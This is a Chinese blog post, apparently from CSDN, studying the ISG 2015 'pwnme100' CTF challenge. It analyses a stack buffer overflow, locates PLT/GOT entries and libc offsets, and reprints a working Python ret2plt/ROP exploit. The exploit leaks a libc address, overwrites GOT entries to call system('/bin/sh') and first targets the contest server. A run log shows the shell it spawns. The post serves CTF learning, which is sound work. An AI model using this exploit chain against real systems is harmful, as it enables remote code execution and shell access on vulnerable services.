ISG pwnme100 poc 学习

ISG pwnme100 poc 学习

背景

最近在学习ISG2015比赛的 FlappyPig 的writeuphttp://bobao.360.cn/learning/detail/702.html),对其中的pwn比较感兴趣,因此查阅了部分资料后对poc进行了研究。
其中在csdn上海枫的专栏http://blog.csdn.net/column/details/buffer-overflow.html)非常深刻的讲解了缓冲区溢出漏洞原理、实践和不同溢出攻击的技术分析,非常好,值得深看。
其次乌云知识平台上的linux常见漏洞利用技术实践http://drops.wooyun.org/binary/6521),对如何利用缓冲溢出进行了入门的讲解。

程序分析

实验环境是

root@mifan:~/Desktop/isg/pwnme# cat /etc/debian_version 
Kali Linux 2.0
root@mifan:~/Desktop/isg/pwnme# uname -a
Linux mifan 4.0.0-kali1-686-pae #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) i686 GNU/Linux

同ida反汇编得到存在漏洞的程序如下:

int sub_804847D()
{
  int v1; // [sp+18h] [bp-8h]@1

  alarm(0x3Cu);
  write(1, "Welcome to ISG 2015!\nPwn me to get the flag:\n", 0x2Du);
  read(0, &v1, 0x100u);
  return 0;
}

运行程序,尝试最后得到如下几个:

root@mifan:~/Desktop/isg/pwnme# python -c "print 'A'*20+'BBBB'"|./pwnme 
Welcome to ISG 2015!
Pwn me to get the flag:
Segmentation fault (core dumped)

注意:如果没有产生coredump,可以通过ulimit -c unlimited设置
确定是否覆盖了返回eip可以查看海枫的《缓冲区溢出攻击实践》(http://blog.csdn.net/linyt/article/details/43283331)
分析core文件

root@mifan:~/Desktop/isg/pwnme# gdb pwnme core 
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i586-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from pwnme...(no debugging symbols found)...done.
[New LWP 1451]
Core was generated by `./pwnme'.
Program terminated with signal SIGSEGV, Segmentation fault.
**#0  0x42424242 in ?? ()**

这里已经覆盖了,因此攻击的字符串就是20个’A’+shellcode

分析POC

Shellcode结构分析
Pwnme100 提供了lib库,因此可以通过ret2plt(参考使用ret2plt绕过libc安全区:http://blog.csdn.net/linyt/article/details/47429823)技术获取系统shell。
而FlappyPig 的攻击思路大致是

  1. 通过溢出,获取write函数在运行系统中的地址,实现方法是write(1,POINT_TO_WRITE_GOT,4)
  2. 得到这个write-got-address和libc中的write函数的地址(相对地址)进行运算,得到差值,这个差值可以用于计算system函数的真实got地址,并将这个地址替换write-got-address
  3. 通过交互将system函数的got地址发送到系统
  4. 系统运行的shellcode,将system-got-address读到write-got-address中
  5. 将”/bin/sh;\n”字符串作为参数,写入到read-got-address中
  6. 通过调用write函数,跳转到system-got-address函数,并且堆栈中的参数地址为read-got-address

shellcode结构如下:

stackdesc
/bin/bash;\nsystem_got的参数
pop
write最后跳转到system_got
9Read参数3
read_got_addressRead参数2
0Read参数1
pppRet address
Read_plt_addressRead参数,读取/bin/bash,修改read-got地址内容为/bin/bash
4Read参数3
write_got_addressRead参数2
0Read参数1,system的got地址从这里获取
pppRet address
read_plt_addressRead函数,读取system的got地址,修改write-got地址为system-got地址
4Write 参数3
write_got_addressWrite 参数2
1Write 参数1
pppRet address
write_plt_address覆盖的eip,用于返回write-got地址
buf覆盖栈空间

因此poc内容现在就能够看懂:

__author__ = "pxx"
from zio import *
import struct
target = ("202.120.7.145", 9991)#"./pwnme"
def get_io(target):
         io = zio(target, timeout = 9999)
         return io
def full_buff(cur_data, length, ch_t = 'a'):
         len_t = length - len(cur_data)
         return cur_data + ch_t * len_t
def pwn(io):
         io.read_until("the flag:\n")
         io.gdb_hint()
         data = full_buff("a", 16)
         print "data len:", len(data)
         write_plt_addr = l32(0x08048370)
         read_plt_addr = l32(0x08048330)
         read_got_addr = 0x0804a00c
         write_got_addr = 0x0804a01c
         ebp_str = l32(0x01010101)
         p_ret = l32(0x08048311)
         pp_ret = l32(0x0804853e)
         ppp_ret = l32(0x0804853d)
       #这里shellcode就是上面的逻辑,第一个write和(1)对应,后面的两个read分别和(2)、(3)对应。最后一个write_plt_addr + p_ret + l32(read_got_addr) 是调用system(“/bin/bash”)

         shellcode = write_plt_addr + ppp_ret + l32(0x1) + l32(write_got_addr) + l32(0x4)
         shellcode += read_plt_addr + ppp_ret + l32(0x0) + l32(write_got_addr) + l32(0x4)
         shellcode += read_plt_addr + ppp_ret + l32(0x0) + l32(read_got_addr) + l32(0x9)
         shellcode += write_plt_addr + p_ret + l32(read_got_addr)
         payload = data + ebp_str + shellcode#这里的data和ebp_str 大小20个字节,覆盖缓冲区
         io.write(payload + '\n')
         data = io.read(0x4)#(1)
         print len(data)
         write_real_addr = l32(data)#得到write got的实际地址
         print hex(write_real_addr)
         libc_addr = write_real_addr - 0x000dac50 #得到差值
         system_real_addr = libc_addr + 0x00040190#得到system函数的真实地址
         binstr_real_addr = libc_addr + 0x160a24
         io.write(l32(system_real_addr))#(2)发送system的got地址
         io.write("/bin/sh;\n")#(3)发送system函数的参数
         io.interact()
io = get_io(target)
pwn(io)

write等函数的plt和got定位

root@mifan:~/Desktop/isg/pwnme# objdump -d pwnme |grep "<write@plt>"
08048370 <write@plt>:
 80484a9:   e8 c2 fe ff ff          call   8048370 <write@plt>

通过plt确定got

gdb pwnme core
...
(gdb) x /12i 0x8048370 
   0x8048370 <write@plt>:   jmp    *0x804a01c
   0x8048376 <write@plt+6>: push   $0x20
   0x804837b <write@plt+11>:    jmp    0x8048320
   0x8048380:   xor    %ebp,%ebp
   0x8048382:   pop    %esi
   0x8048383:   mov    %esp,%ecx
   0x8048385:   and    $0xfffffff0,%esp
   0x8048388:   push   %eax
   0x8048389:   push   %esp
   0x804838a:   push   %edx
   0x804838b:   push   $0x8048550
   0x8048390:   push   $0x80484e0
(gdb) x /12i 0x804a01c
   0x804a01c <write@got.plt>:   pusha  
   0x804a01d <write@got.plt+1>: xchg   %eax,%esi
   0x804a01e <write@got.plt+2>: out    %al,(%dx)
   0x804a01f <write@got.plt+3>: mov    $0x0,%bh
   0x804a021:   add    %al,(%eax)
   0x804a023:   add    %al,(%eax)
   0x804a025:   add    %al,(%eax)
   0x804a027:   add    %al,(%eax)
   0x804a029:   add    %al,(%eax)
   0x804a02b:   add    %al,(%eax)
   0x804a02d:   add    %al,(%eax)
   0x804a02f:   add    %al,(%eax)

同理可以确定read的got和plt

确定write和system在libc中地址

root@mifan:~/Desktop/isg/pwnme# objdump -d libc-2.19.so |grep -i "write"
   17d03:   e8 52 2f 0c 00          call   dac5a <__write+0xa>
   17d46:   e8 0f 2f 0c 00          call   dac5a <__write+0xa>
   17d8f:   e8 c6 2e 0c 00          call   dac5a <__write+0xa>
   19b88:   e8 c3 10 0c 00          call   dac50 <__write>
   27796:   e8 b5 34 0b 00          call   dac50 <__write>

root@mifan:~/Desktop/isg/pwnme# objdump -d libc-2.19.so |grep -i "__libc_system"
   3fc75:   0f 85 4d 05 00 00       jne    401c8 <__libc_system+0x38>
   3fceb:   0f 85 e7 04 00 00       jne    401d8 <__libc_system+0x48>
   3fde1:   0f 85 01 04 00 00       jne    401e8 <__libc_system+0x58>
   3fe4c:   0f 85 a6 03 00 00       jne    401f8 <__libc_system+0x68>
   3ff07:   0f 85 fb 02 00 00       jne    40208 <__libc_system+0x78>
   3ff6e:   0f 85 a4 02 00 00       jne    40218 <__libc_system+0x88>
   4011a:   0f 85 08 01 00 00       jne    40228 <__libc_system+0x98>
   40177:   0f 85 bb 00 00 00       jne    40238 <__libc_system+0xa8>
00040190 <__libc_system>:
   401a5:   74 09                   je     401b0 <__libc_system+0x20>

此时上面各个数字意义也确定完成了。

本地试验

由于没有环境了,在自己的环境上进行试验,只需要修改libc中的write和system地址即可

root@mifan:~/Desktop/isg/pwnme# ldd pwnme
    linux-gate.so.1 (0xb7fff000)
    libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e30000)
    /lib/ld-linux.so.2 (0x80000000)
root@mifan:~/Desktop/isg/pwnme# objdump -d /lib/i386-linux-gnu/i686/cmov/libc.so.6 |egrep -i "__write|__libc_system"

   276c6:   e8 95 1f 0b 00          call   d9660 <__write>
   3e351:   0f 85 b1 00 00 00       jne    3e408 <__libc_system+0xa8>
0003e360 <__libc_system>:

修改poc为:

__author__ = "pxx"
from zio import *
import struct
#target = ("202.120.7.145", 9991)#"./pwnme"
target ="./pwnme"
def get_io(target):
         io = zio(target, timeout = 9999)
         return io
def full_buff(cur_data, length, ch_t = 'a'):
         len_t = length - len(cur_data)
         return cur_data + ch_t * len_t
def pwn(io):
         io.read_until("the flag:\n")
         io.gdb_hint()
         data = full_buff("a", 16)
         print "data len:", len(data)
         write_plt_addr = l32(0x08048370)
         read_plt_addr = l32(0x08048330)
         read_got_addr = 0x0804a00c
         write_got_addr = 0x0804a01c
         ebp_str = l32(0x01010101)
         p_ret = l32(0x08048311)
         pp_ret = l32(0x0804853e)
         ppp_ret = l32(0x0804853d)
         shellcode = write_plt_addr + ppp_ret + l32(0x1) + l32(write_got_addr) + l32(0x4)
         shellcode += read_plt_addr + ppp_ret + l32(0x0) + l32(write_got_addr) + l32(0x4)
         shellcode += read_plt_addr + ppp_ret + l32(0x0) + l32(read_got_addr) + l32(0x9)
         shellcode += write_plt_addr + p_ret + l32(read_got_addr)
         payload = data + ebp_str + shellcode
         io.write(payload + '\n')
         data = io.read(0x4)
         print len(data)
         write_real_addr = l32(data)
         print hex(write_real_addr)
         libc_addr = write_real_addr - 0x000d9660
         system_real_addr = libc_addr + 0x0003e360
         binstr_real_addr = libc_addr + 0x160a24
         io.write(l32(system_real_addr))
         io.write("/bin/sh;\n")
         io.interact()
io = get_io(target)
pwn(io)

运行结果如下:

root@mifan:~/Desktop/isg/pwnme# python py_pwn.py 
Welcome to ISG 2015!
Pwn me to get the flag:
zio -l 0.5 -b "For help" -a "`printf 'attach 1865\r\n'`" gdb
use cmdline above to attach gdb then press enter to continue ... 
data len: 16
aaaaaaaaaaaaaaaa= 
                        p 

`
0xb7ee9660L
`䤷/bin/sh;
ls
core  libc-2.19.idb  libc-2.19.so  pwnme  pwnme.id2  pwnme.til  py_pwn.py  py_pwn.py2
cat py_pwn.py
__author__ = "pxx"
from zio import *
import struct
#target = ("202.120.7.145", 9991)#"./pwnme"
target ="./pwnme"
def get_io(target):
         io = zio(target, timeout = 9999)
         return io
def full_buff(cur_data, length, ch_t = 'a'):
         len_t = length - len(cur_data)
         return cur_data + ch_t * len_t
  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值